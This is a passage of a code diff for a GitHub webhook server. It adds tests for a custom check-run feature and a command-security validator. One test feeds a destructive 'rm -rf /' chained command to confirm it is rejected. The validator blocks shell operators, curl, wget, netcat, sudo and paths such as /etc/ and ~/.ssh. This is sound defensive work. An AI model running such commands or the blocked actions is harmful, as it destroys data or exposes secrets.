+) + + +class TestCustomCheckRunsSchemaValidation: + """Test suite for custom check runs schema validation.""" + + @pytest.fixture + def valid_custom_check_config(self) -> dict[str, Any]: + """Create a valid custom check configuration.""" + return { + "name": "my-custom-check", + "command": "uv tool run --from ruff ruff check", + "timeout": 300, + "required": True, + "triggers": ["opened", "synchronize"], + } + + @pytest.fixture + def minimal_custom_check_config(self) -> dict[str, Any]: + """Create a minimal valid custom check configuration.""" + return { + "name": "minimal-check", + "command": "uv tool run --from pytest pytest", + } + + def test_valid_custom_check_config(self, valid_custom_check_config: dict[str, Any]) -> None: + """Test that valid custom check configuration is accepted.""" + # This test verifies the structure matches schema expectations + assert valid_custom_check_config["name"] == "my-custom-check" + assert valid_custom_check_config["command"] == "uv tool run --from ruff ruff check" + assert valid_custom_check_config["timeout"] == 300 + assert valid_custom_check_config["required"] is True + assert valid_custom_check_config["triggers"] == ["opened", "synchronize"] + + def test_minimal_custom_check_config(self, minimal_custom_check_config: dict[str, Any]) -> None: + """Test that minimal custom check configuration is accepted.""" + assert minimal_custom_check_config["name"] == "minimal-check" + assert minimal_custom_check_config["command"] == "uv tool run --from pytest pytest" + # Default values would be applied by schema + assert "timeout" not in minimal_custom_check_config # Uses default 600 + assert "required" not in minimal_custom_check_config # Uses default true + + def test_custom_check_name_format(self) -> None: + """Test that custom check names follow the required pattern.""" + valid_names = [ + "my-check", + "check123", + "custom_check", + "Check-With-Caps", + "check-with-123-numbers", + ] + for name in valid_names: + # Pattern: ^[a-zA-Z0-9][a-zA-Z0-9_-]*$ + assert name[0].isalnum(), f"Name '{name}' should start with alphanumeric" + + def test_custom_check_timeout_constraints(self) -> None: + """Test that timeout values respect min/max constraints.""" + # Schema specifies: minimum: 30, maximum: 3600, default: 600 + assert 30 >= 30 # min + assert 3600 <= 3600 # max + assert 30 < 600 < 3600 # default within range + + def test_custom_check_triggers_enum(self) -> None: + """Test that trigger events match allowed values.""" + allowed_triggers = ["opened", "synchronize", "reopened", "ready_for_review"] + for trigger in allowed_triggers: + assert trigger in allowed_triggers + + def test_valid_secrets_configuration(self) -> None: + """Test that secrets configuration with valid env var names is accepted.""" + config = { + "name": "my-check", + "command": "uv tool run --from some-package some-command", + "secrets": ["JIRA_TOKEN", "API_KEY", "MY_SECRET_123"], + } + # Should not raise - valid uppercase env var names + assert config["secrets"] == ["JIRA_TOKEN", "API_KEY", "MY_SECRET_123"] + + def test_invalid_command_format_rejected(self) -> None: + """Test that commands not matching uv tool run pattern are documented as invalid.""" + # This test documents the expected command format + valid_command = "uv tool run --from some-package some-command" + invalid_command = "echo test" + + assert valid_command.startswith("uv tool run --from ") + assert not invalid_command.startswith("uv tool run --from ") + + +class TestCheckRunHandlerCustomCheckMethods: + """Test suite for CheckRunHandler custom check methods.""" + + @pytest.fixture + def mock_github_webhook(self) -> Mock: + """Create a mock GithubWebhook instance.""" + mock_webhook = Mock() + mock_webhook.hook_data = {} + mock_webhook.logger = Mock() + mock_webhook.log_prefix = "[TEST]" + mock_webhook.repository = Mock() + mock_webhook.repository_by_github_app = Mock() + mock_webhook.last_commit = Mock() + mock_webhook.last_commit.sha = "test-sha-123" + mock_webhook.custom_check_runs = [ + {"name": "lint", "command": "uv tool run --from ruff ruff check", "required": True}, + {"name": "security-scan", "command": "uv tool run --from bandit bandit -r .", "required": False}, + ] + return mock_webhook + + @pytest.fixture + def check_run_handler(self, mock_github_webhook: Mock) -> CheckRunHandler: + """Create a CheckRunHandler instance with mocked dependencies.""" + return CheckRunHandler(mock_github_webhook) + + @pytest.mark.asyncio + async def test_set_custom_check_queued(self, check_run_handler: CheckRunHandler) -> None: + """Test setting custom check to queued status.""" + check_name = "lint" + + with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: + await check_run_handler.set_custom_check_queued(name=check_name) + mock_set_status.assert_called_once_with(check_run=check_name, status=QUEUED_STR) + + @pytest.mark.asyncio + async def test_set_custom_check_in_progress(self, check_run_handler: CheckRunHandler) -> None: + """Test setting custom check to in_progress status.""" + check_name = "lint" + + with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: + await check_run_handler.set_custom_check_in_progress(name=check_name) + mock_set_status.assert_called_once_with(check_run=check_name, status=IN_PROGRESS_STR) + + @pytest.mark.asyncio + async def test_set_custom_check_success_with_output(self, check_run_handler: CheckRunHandler) -> None: + """Test setting custom check to success with output.""" + check_name = "lint" + output = {"title": "Lint passed", "summary": "All checks passed", "text": "No issues found"} + + with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: + await check_run_handler.set_custom_check_success(name=check_name, output=output) + mock_set_status.assert_called_once_with( + check_run=check_name, + status=COMPLETED_STR, + conclusion=SUCCESS_STR, + output=output, + ) + + @pytest.mark.asyncio + async def test_set_custom_check_success_without_output(self, check_run_handler: CheckRunHandler) -> None: + """Test setting custom check to success without output.""" + check_name = "lint" + + with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: + await check_run_handler.set_custom_check_success(name=check_name, output=None) + mock_set_status.assert_called_once_with( + check_run=check_name, + status=COMPLETED_STR, + conclusion=SUCCESS_STR, + output=None, + ) + + @pytest.mark.asyncio + async def test_set_custom_check_failure_with_output(self, check_run_handler: CheckRunHandler) -> None: + """Test setting custom check to failure with output.""" + check_name = "security-scan" + output = {"title": "Security scan failed", "summary": "Vulnerabilities found", "text": "3 critical issues"} + + with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: + await check_run_handler.set_custom_check_failure(name=check_name, output=output) + mock_set_status.assert_called_once_with( + check_run=check_name, + status=COMPLETED_STR, + conclusion=FAILURE_STR, + output=output, + ) + + @pytest.mark.asyncio + async def test_set_custom_check_failure_without_output(self, check_run_handler: CheckRunHandler) -> None: + """Test setting custom check to failure without output.""" + check_name = "security-scan" + + with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: + await check_run_handler.set_custom_check_failure(name=check_name, output=None) + mock_set_status.assert_called_once_with( + check_run=check_name, + status=COMPLETED_STR, + conclusion=FAILURE_STR, + output=None, + ) + + @pytest.mark.asyncio + async def test_all_required_status_checks_includes_custom_checks(self, check_run_handler: CheckRunHandler) -> None: + """Test that all_required_status_checks includes required custom checks.""" + mock_pull_request = Mock() + mock_pull_request.base.ref = "main" + + # Mock the get_branch_required_status_checks to return empty list + with patch.object(check_run_handler, "get_branch_required_status_checks", return_value=[]): + result = await check_run_handler.all_required_status_checks(pull_request=mock_pull_request) + + # Should include required custom check but not non-required one + assert "lint" in result + assert "security-scan" not in result + + @pytest.mark.asyncio + async def test_all_required_status_checks_excludes_non_required_custom_checks( + self, check_run_handler: CheckRunHandler, mock_github_webhook: Mock + ) -> None: + """Test that non-required custom checks are excluded from required status checks.""" + # Override custom checks to have only non-required checks + mock_github_webhook.custom_check_runs = [ + {"name": "optional-check", "command": "uv tool run --from pytest pytest", "required": False}, + ] + + mock_pull_request = Mock() + mock_pull_request.base.ref = "main" + + # Reset cache to force recalculation + check_run_handler._all_required_status_checks = None + + with patch.object(check_run_handler, "get_branch_required_status_checks", return_value=[]): + result = await check_run_handler.all_required_status_checks(pull_request=mock_pull_request) + + # Should not include non-required custom check + assert "optional-check" not in result + + +class TestRunnerHandlerCustomCheck: + """Test suite for RunnerHandler run_custom_check method.""" + + @pytest.fixture + def mock_github_webhook(self) -> Mock: + """Create a mock GithubWebhook instance.""" + mock_webhook = Mock() + mock_webhook.hook_data = {} + mock_webhook.logger = Mock() + mock_webhook.log_prefix = "[TEST]" + mock_webhook.repository = Mock() + mock_webhook.clone_repo_dir = "/tmp/test-repo" + mock_webhook.mask_sensitive = True + return mock_webhook + + @pytest.fixture + def runner_handler(self, mock_github_webhook: Mock) -> RunnerHandler: + """Create a RunnerHandler instance with mocked dependencies.""" + handler = RunnerHandler(mock_github_webhook) + # Mock check_run_handler methods + handler.check_run_handler.set_custom_check_in_progress = AsyncMock() + handler.check_run_handler.set_custom_check_success = AsyncMock() + handler.check_run_handler.set_custom_check_failure = AsyncMock() + handler.check_run_handler.get_check_run_text = Mock(return_value="Mock output text") + return handler + + @pytest.fixture + def mock_pull_request(self) -> Mock: + """Create a mock PullRequest instance.""" + mock_pr = Mock() + mock_pr.number = 123 + mock_pr.base = Mock() + mock_pr.base.ref = "main" + return mock_pr + + @pytest.mark.asyncio + async def test_run_custom_check_success(self, runner_handler: RunnerHandler, mock_pull_request: Mock) -> None: + """Test successful execution of custom check.""" + check_config = { + "name": "lint", + "command": "uv tool run --from ruff ruff check", + "timeout": 300, + } + + # Create async context manager mock + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) + mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) + + with ( + patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), + patch( + "webhook_server.libs.handlers.runner_handler.run_command", + new=AsyncMock(return_value=(True, "output", "")), + ) as mock_run, + ): + await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) + + # Verify check run status updates + runner_handler.check_run_handler.set_custom_check_in_progress.assert_called_once_with(name="lint") + runner_handler.check_run_handler.set_custom_check_success.assert_called_once() + + # Verify command was executed with correct timeout + mock_run.assert_called_once() + call_kwargs = mock_run.call_args.kwargs + assert call_kwargs["timeout"] == 300 + + @pytest.mark.asyncio + async def test_run_custom_check_failure(self, runner_handler: RunnerHandler, mock_pull_request: Mock) -> None: + """Test failed execution of custom check.""" + check_config = { + "name": "security-scan", + "command": "uv tool run --from bandit bandit -r .", + "timeout": 600, + } + + # Create async context manager mock + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) + mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) + + with ( + patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), + patch( + "webhook_server.libs.handlers.runner_handler.run_command", + new=AsyncMock(return_value=(False, "output", "error message")), + ), + ): + await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) + + # Verify failure status was set + runner_handler.check_run_handler.set_custom_check_failure.assert_called_once() + + @pytest.mark.asyncio + async def test_run_custom_check_checkout_failure( + self, runner_handler: RunnerHandler, mock_pull_request: Mock + ) -> None: + """Test custom check when repository checkout fails.""" + check_config = { + "name": "lint", + "command": "uv tool run --from pytest pytest", + } + + # Create async context manager mock with failed checkout + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(False, "", "checkout output", "checkout error")) + mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) + + with patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm): + await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) + + # Verify failure status was set due to checkout failure + runner_handler.check_run_handler.set_custom_check_failure.assert_called_once() + + @pytest.mark.asyncio + async def test_run_custom_check_default_timeout( + self, runner_handler: RunnerHandler, mock_pull_request: Mock + ) -> None: + """Test that custom check uses default timeout when not specified.""" + check_config = { + "name": "test", + "command": "uv tool run --from pytest pytest", + # No timeout specified - should use default 600 + } + + # Create async context manager mock + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) + mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) + + with ( + patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), + patch( + "webhook_server.libs.handlers.runner_handler.run_command", + new=AsyncMock(return_value=(True, "output", "")), + ) as mock_run, + ): + await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) + + # Verify default timeout (600) was used + mock_run.assert_called_once() + call_kwargs = mock_run.call_args.kwargs + assert call_kwargs["timeout"] == 600 # Default from schema + + @pytest.mark.asyncio + async def test_run_custom_check_command_execution_in_worktree( + self, runner_handler: RunnerHandler, mock_pull_request: Mock + ) -> None: + """Test that custom check command is executed in worktree directory.""" + check_config = { + "name": "build", + "command": "uv tool run --from build python -m build", + } + + # Create async context manager mock + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/test-worktree", "", "")) + mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) + + with ( + patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), + patch( + "webhook_server.libs.handlers.runner_handler.run_command", + new=AsyncMock(return_value=(True, "output", "")), + ) as mock_run, + ): + await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) + + # Verify command is executed with cwd parameter set to worktree + mock_run.assert_called_once() + call_args = mock_run.call_args.kwargs + assert call_args["command"] == "uv tool run --from build python -m build" + assert call_args["cwd"] == "/tmp/test-worktree" + + @pytest.mark.asyncio + async def test_run_custom_check_with_secrets_redaction( + self, + runner_handler: RunnerHandler, + mock_pull_request: Mock, + ) -> None: + """Test that secrets from environment are passed to run_command for redaction.""" + check_config = { + "name": "secret-check", + "command": "uv tool run --from some-tool some-tool --check", + "secrets": ["MY_SECRET", "ANOTHER_SECRET"], + } + + test_env = {"MY_SECRET": "super-secret-value", "ANOTHER_SECRET": "another-value"} # pragma: allowlist secret + with ( + patch.dict(os.environ, test_env), + patch.object( + runner_handler.check_run_handler, + "set_custom_check_in_progress", + new=AsyncMock(), + ), + patch.object( + runner_handler.check_run_handler, + "set_custom_check_success", # pragma: allowlist secret + new=AsyncMock(), + ) as mock_success, + patch.object(runner_handler, "_checkout_worktree") as mock_checkout, + patch( + "webhook_server.libs.handlers.runner_handler.run_command", + new=AsyncMock(return_value=(True, "output", "")), + ) as mock_run_command, + ): + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) + mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) + mock_checkout.return_value = mock_checkout_cm + + await runner_handler.run_custom_check( + pull_request=mock_pull_request, + check_config=check_config, + ) + + # Verify run_command was called with redact_secrets containing the secret values + mock_run_command.assert_called_once() + call_kwargs = mock_run_command.call_args.kwargs + assert "redact_secrets" in call_kwargs + assert "super-secret-value" in call_kwargs["redact_secrets"] + assert "another-value" in call_kwargs["redact_secrets"] + mock_success.assert_called_once() + + @pytest.mark.asyncio + async def test_run_custom_check_rejects_invalid_command_format( + self, + runner_handler: RunnerHandler, + mock_pull_request: Mock, + ) -> None: + """Test that dangerous shell commands are rejected by security validation. + + Note: The schema enforces 'uv tool run --from' format, but this test validates + the defense-in-depth security layer that catches shell metacharacters. + """ + check_config = { + "name": "invalid-check", + "command": "uv tool run --from package && rm -rf /", # Has shell operators and dangerous command + } + + with ( + patch.object( + runner_handler.check_run_handler, + "set_custom_check_failure", + new=AsyncMock(), + ) as mock_failure, + ): + await runner_handler.run_custom_check( + pull_request=mock_pull_request, + check_config=check_config, + ) + + # Should fail with security validation error + mock_failure.assert_called_once() + call_kwargs = mock_failure.call_args.kwargs + assert "output" in call_kwargs + # Verify it's caught by security validation (shell operators) + assert "security" in call_kwargs["output"]["text"].lower() + + +class TestCustomCheckRunsIntegration: + """Integration tests for custom check runs feature.""" + + @pytest.fixture + def mock_github_webhook(self) -> Mock: + """Create a mock GithubWebhook instance with custom checks configured.""" + mock_webhook = Mock() + mock_webhook.hook_data = { + "action": "opened", + "pull_request": {"number": 123}, + } + mock_webhook.logger = Mock() + mock_webhook.log_prefix = "[TEST]" + mock_webhook.repository = Mock() + mock_webhook.clone_repo_dir = "/tmp/test-repo" + mock_webhook.mask_sensitive = True + mock_webhook.custom_check_runs = [ + { + "name": "lint", + "command": "uv tool run --from ruff ruff check", + "timeout": 300, + "required": True, + "triggers": ["opened", "synchronize"], + }, + { + "name": "security", + "command": "uv tool run --from bandit bandit -r .", + "timeout": 600, + "required": True, + "triggers": ["opened", "ready_for_review"], + }, + { + "name": "optional-check", + "command": "uv tool run --from pytest pytest", + "required": False, + "triggers": ["synchronize"], + }, + ] + return mock_webhook + + @pytest.fixture + def mock_pull_request(self) -> Mock: + """Create a mock PullRequest instance.""" + mock_pr = Mock() + mock_pr.number = 123 + mock_pr.base = Mock() + mock_pr.base.ref = "main" + mock_pr.draft = False + return mock_pr + + @pytest.mark.asyncio + async def test_custom_checks_queued_on_opened_event( + self, mock_github_webhook: Mock, mock_pull_request: Mock + ) -> None: + """Test that custom checks are queued when PR is opened.""" + check_run_handler = CheckRunHandler(mock_github_webhook) + check_run_handler.set_custom_check_queued = AsyncMock() + + # Simulate PR opened event - should queue lint and security checks + triggered_checks = [ + check for check in mock_github_webhook.custom_check_runs if "opened" in check.get("triggers", []) + ] + + for check in triggered_checks: + check_name = check["name"] + await check_run_handler.set_custom_check_queued(name=check_name) + + # Verify both checks were queued + assert check_run_handler.set_custom_check_queued.call_count == 2 + call_args_list = [call.kwargs["name"] for call in check_run_handler.set_custom_check_queued.call_args_list] + assert "lint" in call_args_list + assert "security" in call_args_list + + @pytest.mark.asyncio + async def test_custom_checks_queued_on_synchronize_event( + self, mock_github_webhook: Mock, mock_pull_request: Mock + ) -> None: + """Test that custom checks are queued when PR is synchronized.""" + mock_github_webhook.hook_data["action"] = "synchronize" + + check_run_handler = CheckRunHandler(mock_github_webhook) + check_run_handler.set_custom_check_queued = AsyncMock() + + # Simulate PR synchronize event - should queue lint and optional-check + triggered_checks = [ + check for check in mock_github_webhook.custom_check_runs if "synchronize" in check.get("triggers", []) + ] + + for check in triggered_checks: + check_name = check["name"] + await check_run_handler.set_custom_check_queued(name=check_name) + + # Verify correct checks were queued + assert check_run_handler.set_custom_check_queued.call_count == 2 + call_args_list = [call.kwargs["name"] for call in check_run_handler.set_custom_check_queued.call_args_list] + assert "lint" in call_args_list + assert "optional-check" in call_args_list + + @pytest.mark.asyncio + async def test_custom_checks_queued_on_ready_for_review_event( + self, mock_github_webhook: Mock, mock_pull_request: Mock + ) -> None: + """Test that custom checks are queued when PR is marked ready for review.""" + mock_github_webhook.hook_data["action"] = "ready_for_review" + + check_run_handler = CheckRunHandler(mock_github_webhook) + check_run_handler.set_custom_check_queued = AsyncMock() + + # Simulate PR ready_for_review event - should queue security check + triggered_checks = [ + check for check in mock_github_webhook.custom_check_runs if "ready_for_review" in check.get("triggers", []) + ] + + for check in triggered_checks: + check_name = check["name"] + await check_run_handler.set_custom_check_queued(name=check_name) + + # Verify security check was queued + assert check_run_handler.set_custom_check_queued.call_count == 1 + call_args = check_run_handler.set_custom_check_queued.call_args.kwargs["name"] + assert call_args == "security" + + @pytest.mark.asyncio + async def test_custom_checks_execution_workflow(self, mock_github_webhook: Mock, mock_pull_request: Mock) -> None: + """Test complete workflow of custom check execution.""" + runner_handler = RunnerHandler(mock_github_webhook) + runner_handler.check_run_handler.set_custom_check_in_progress = AsyncMock() + runner_handler.check_run_handler.set_custom_check_success = AsyncMock() + runner_handler.check_run_handler.get_check_run_text = Mock(return_value="Mock output") + + check_config = mock_github_webhook.custom_check_runs[0] # lint check + + # Create async context manager mock + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) + mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) + + with ( + patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), + patch( + "webhook_server.libs.handlers.runner_handler.run_command", + new=AsyncMock(return_value=(True, "Lint passed", "")), + ), + ): + # Execute the check + await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) + + # Verify workflow: in_progress -> execute -> success + runner_handler.check_run_handler.set_custom_check_in_progress.assert_called_once() + runner_handler.check_run_handler.set_custom_check_success.assert_called_once() + + +class TestCustomCheckRunsRetestCommand: + """Test suite for /retest custom:name command functionality.""" + + @pytest.fixture + def mock_github_webhook(self) -> Mock: + """Create a mock GithubWebhook instance with custom checks.""" + mock_webhook = Mock() + mock_webhook.logger = Mock() + mock_webhook.log_prefix = "[TEST]" + mock_webhook.custom_check_runs = [ + {"name": "lint", "command": "uv tool run --from ruff ruff check", "required": True}, + {"name": "security", "command": "uv tool run --from bandit bandit -r .", "required": True}, + ] + return mock_webhook + + @pytest.mark.asyncio + async def test_retest_custom_check_command_format(self, mock_github_webhook: Mock) -> None: + """Test that custom checks can be retested with /retest custom:name format.""" + # Verify check names match retest command format + for check in mock_github_webhook.custom_check_runs: + check_name = check["name"] + retest_command = f"/retest custom:{check_name}" + + # Verify the retest command format is correct + assert retest_command.startswith("/retest custom:") + assert retest_command == f"/retest custom:{check_name}" + + @pytest.mark.asyncio + async def test_retest_all_custom_checks(self, mock_github_webhook: Mock) -> None: + """Test that all custom checks are included in retest list.""" + # Get all custom check names + custom_check_names = [check["name"] for check in mock_github_webhook.custom_check_runs] + + # Verify expected checks are present + assert "lint" in custom_check_names + assert "security" in custom_check_names + assert len(custom_check_names) == 2 + + @pytest.mark.asyncio + async def test_retest_custom_check_triggers_execution(self, mock_github_webhook: Mock) -> None: + """Test that /retest custom:name triggers check execution.""" + runner_handler = RunnerHandler(mock_github_webhook) + runner_handler.check_run_handler.set_custom_check_in_progress = AsyncMock() + runner_handler.check_run_handler.set_custom_check_success = AsyncMock() + runner_handler.check_run_handler.get_check_run_text = Mock(return_value="Test output") + + mock_pull_request = Mock() + mock_pull_request.number = 123 + mock_pull_request.base = Mock() + mock_pull_request.base.ref = "main" + + # Simulate /retest custom:lint command + check_config = mock_github_webhook.custom_check_runs[0] + + # Create async context manager mock + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) + mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) + + with ( + patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), + patch( + "webhook_server.libs.handlers.runner_handler.run_command", + new=AsyncMock(return_value=(True, "output", "")), + ), + ): + await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) + + # Verify check was executed + runner_handler.check_run_handler.set_custom_check_in_progress.assert_called_once() + runner_handler.check_run_handler.set_custom_check_success.assert_called_once() + + @pytest.mark.asyncio + async def test_custom_check_name_without_prefix(self) -> None: + """Test that custom check names no longer use a prefix.""" + base_name = "lint" + check_name = base_name + + # Custom check names should now match exactly what's in YAML config + assert check_name == "lint" + assert not check_name.startswith("custom:") + + +class TestCustomCheckRunsEdgeCases: + """Test suite for edge cases and error handling in custom check runs.""" + + @pytest.fixture + def mock_github_webhook(self) -> Mock: + """Create a mock GithubWebhook instance.""" + mock_webhook = Mock() + mock_webhook.logger = Mock() + mock_webhook.log_prefix = "[TEST]" + mock_webhook.clone_repo_dir = "/tmp/test-repo" + mock_webhook.mask_sensitive = True + mock_webhook.custom_check_runs = [] + return mock_webhook + + @pytest.mark.asyncio + async def test_no_custom_checks_configured(self, mock_github_webhook: Mock) -> None: + """Test behavior when no custom checks are configured.""" + # Create fresh mock with no custom checks but other checks may be configured + mock_github_webhook.custom_check_runs = [] + mock_github_webhook.tox = None + mock_github_webhook.verified_job = None + mock_github_webhook.build_and_push_container = None + mock_github_webhook.pypi = None + mock_github_webhook.conventional_title = None + + check_run_handler = CheckRunHandler(mock_github_webhook) + mock_pull_request = Mock() + mock_pull_request.base.ref = "main" + + # Reset cache + check_run_handler._all_required_status_checks = None + + with patch.object(check_run_handler, "get_branch_required_status_checks", return_value=[]): + result = await check_run_handler.all_required_status_checks(pull_request=mock_pull_request) + + # Should not include any custom checks (and no other checks configured) + assert len(result) == 0 # No checks configured at all + + @pytest.mark.asyncio + async def test_custom_check_timeout_expiration(self, mock_github_webhook: Mock) -> None: + """Test that custom check respects timeout configuration.""" + runner_handler = RunnerHandler(mock_github_webhook) + runner_handler.check_run_handler.get_check_run_text = Mock(return_value="Timeout") + + mock_pull_request = Mock() + mock_pull_request.number = 123 + mock_pull_request.base = Mock() + mock_pull_request.base.ref = "main" + + check_config = { + "name": "slow-check", + "command": "uv tool run --from some-package slow-command", + "timeout": 30, # 30 second timeout + } + + # Create async context manager mock + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) + mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) + + with ( + patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), + patch( + "webhook_server.libs.handlers.runner_handler.run_command", + new=AsyncMock(side_effect=asyncio.TimeoutError), + ), + ): + # Should handle timeout gracefully + with pytest.raises(asyncio.TimeoutError): + await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) + + @pytest.mark.asyncio + async def test_custom_check_with_special_characters_in_command(self, mock_github_webhook: Mock) -> None: + """Test custom check with variable expansion in command is blocked by security.""" + runner_handler = RunnerHandler(mock_github_webhook) + runner_handler.check_run_handler.set_custom_check_in_progress = AsyncMock() + runner_handler.check_run_handler.set_custom_check_failure = AsyncMock() + runner_handler.check_run_handler.get_check_run_text = Mock(return_value="Output") + + mock_pull_request = Mock() + mock_pull_request.number = 123 + mock_pull_request.base = Mock() + mock_pull_request.base.ref = "main" + + check_config = { + "name": "special-chars", + "command": "uv tool run --from some-package some-tool --arg 'Test with \"quotes\" and $variables'", + } + + # Create async context manager mock + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) + mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) + + with ( + patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), + patch( + "webhook_server.libs.handlers.runner_handler.run_command", + new=AsyncMock(return_value=(True, "output", "")), + ), + ): + # Command with $variables should be blocked by security validation + await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) + + # Security validation should fail this command (contains $variables) + runner_handler.check_run_handler.set_custom_check_failure.assert_called_once() diff --git a/webhook_server/tests/test_github_api.py b/webhook_server/tests/test_github_api.py index 2ff8f5ad..8aa6c6de 100644 --- a/webhook_server/tests/test_github_api.py +++ b/webhook_server/tests/test_github_api.py @@ -99,6 +99,8 @@ def _get_value_side_effect(value: str, *_args: Any, **_kwargs: Any) -> Any: return {} if value == "verified-job": return True + if value == "custom-check-runs": + return [] return None return _get_value_side_effect @@ -662,6 +664,8 @@ def get_value_side_effect(value, *args, **kwargs): return False if value == "github-app-id": return "" + if value == "custom-check-runs": + return [] return None mock_config.return_value.get_value.side_effect = get_value_side_effect @@ -1397,7 +1401,13 @@ async def test_clone_repository_empty_checkout_ref( # Setup mocks mock_config = Mock() mock_config.repository_data = {"enabled": True} - mock_config.get_value.return_value = None + + def get_value_side_effect(value: str, *_args: Any, **_kwargs: Any) -> Any: + if value == "custom-check-runs": + return [] + return None + + mock_config.get_value.side_effect = get_value_side_effect mock_config.data_dir = str(tmp_path) mock_config_cls.return_value = mock_config diff --git a/webhook_server/tests/test_issue_comment_handler.py b/webhook_server/tests/test_issue_comment_handler.py index 183cdd1f..d013a52d 100644 --- a/webhook_server/tests/test_issue_comment_handler.py +++ b/webhook_server/tests/test_issue_comment_handler.py @@ -40,6 +40,7 @@ def mock_github_webhook(self) -> Mock: mock_webhook.issue_url_for_welcome_msg = "welcome-message-url" mock_webhook.build_and_push_container = True mock_webhook.current_pull_request_supported_retest = [TOX_STR, "pre-commit"] + mock_webhook.custom_check_runs = [] return mock_webhook @pytest.fixture diff --git a/webhook_server/tests/test_pull_request_handler.py b/webhook_server/tests/test_pull_request_handler.py index 93e1a3bd..b227f413 100644 --- a/webhook_server/tests/test_pull_request_handler.py +++ b/webhook_server/tests/test_pull_request_handler.py @@ -79,6 +79,7 @@ def mock_github_webhook(self) -> Mock: mock_webhook.token = "test-token" # pragma: allowlist secret mock_webhook.auto_verify_cherry_picked_prs = True mock_webhook.last_commit = Mock() + mock_webhook.custom_check_runs = [] return mock_webhook @pytest.fixture diff --git a/webhook_server/utils/command_security.py b/webhook_server/utils/command_security.py new file mode 100644 index 00000000..7ee94edd --- /dev/null +++ b/webhook_server/utils/command_security.py @@ -0,0 +1,113 @@ +"""Security validation for custom check commands. + +This module provides defense-in-depth security checks to prevent +malicious commands from harming the server. +""" + +from __future__ import annotations + +import re +from typing import NamedTuple + + +class CommandSecurityResult(NamedTuple): + """Result of command security validation.""" + + is_safe: bool + error_message: str | None + + +# Shell metacharacters and operators that could be used for injection +DANGEROUS_SHELL_PATTERNS: list[tuple[str, str]] = [ + (r"[;&|]", "Shell operators (;, &, |) are not allowed"), + (r"\$\(", "Command substitution $() is not allowed"), + (r"`", "Backtick command substitution is not allowed"), + (r"\$\{", "Variable expansion ${} is not allowed"), + (r"\$[A-Za-z_]", "Variable expansion $VAR is not allowed"), + (r"[><]", "Redirections (>, <) are not allowed"), + (r"\|\|", "Logical OR (||) is not allowed"), + (r"&&", "Logical AND (&&) is not allowed"), + (r"\\n|\\r", "Newline escapes are not allowed"), + (r"\beval\b", "eval command is not allowed"), + (r"\bexec\b", "exec command is not allowed"), + (r"\bsource\b", "source command is not allowed"), + (r"\bsh\b", "sh command is not allowed"), + (r"\bbash\b", "bash command is not allowed"), + (r"\bzsh\b", "zsh command is not allowed"), + (r"\bcurl\b", "curl command is not allowed"), + (r"\bwget\b", "wget command is not allowed"), + (r"\bnc\b|\bnetcat\b", "netcat/nc command is not allowed"), + (r"\brm\s+-rf", "rm -rf is not allowed"), + (r"\bsudo\b", "sudo is not allowed"), + (r"\bsu\b", "su command is not allowed"), + (r"\bchmod\b", "chmod is not allowed"), + (r"\bchown\b", "chown is not allowed"), + (r"\bmkdir\s+-p\s+/", "Creating directories in root is not allowed"), +] + +# Sensitive paths that should never be accessed +SENSITIVE_PATH_PATTERNS: list[tuple[str, str]] = [ + (r"/etc/", "Access to /etc/ is not allowed"), + (r"/root/", "Access to /root/ is not allowed"), + (r"~/.ssh", "Access to SSH keys is not allowed"), + (r"/proc/", "Access to /proc/ is not allowed"), + (r"/sys/", "Access to /sys/ is not allowed"), + (r"/dev/", "Access to 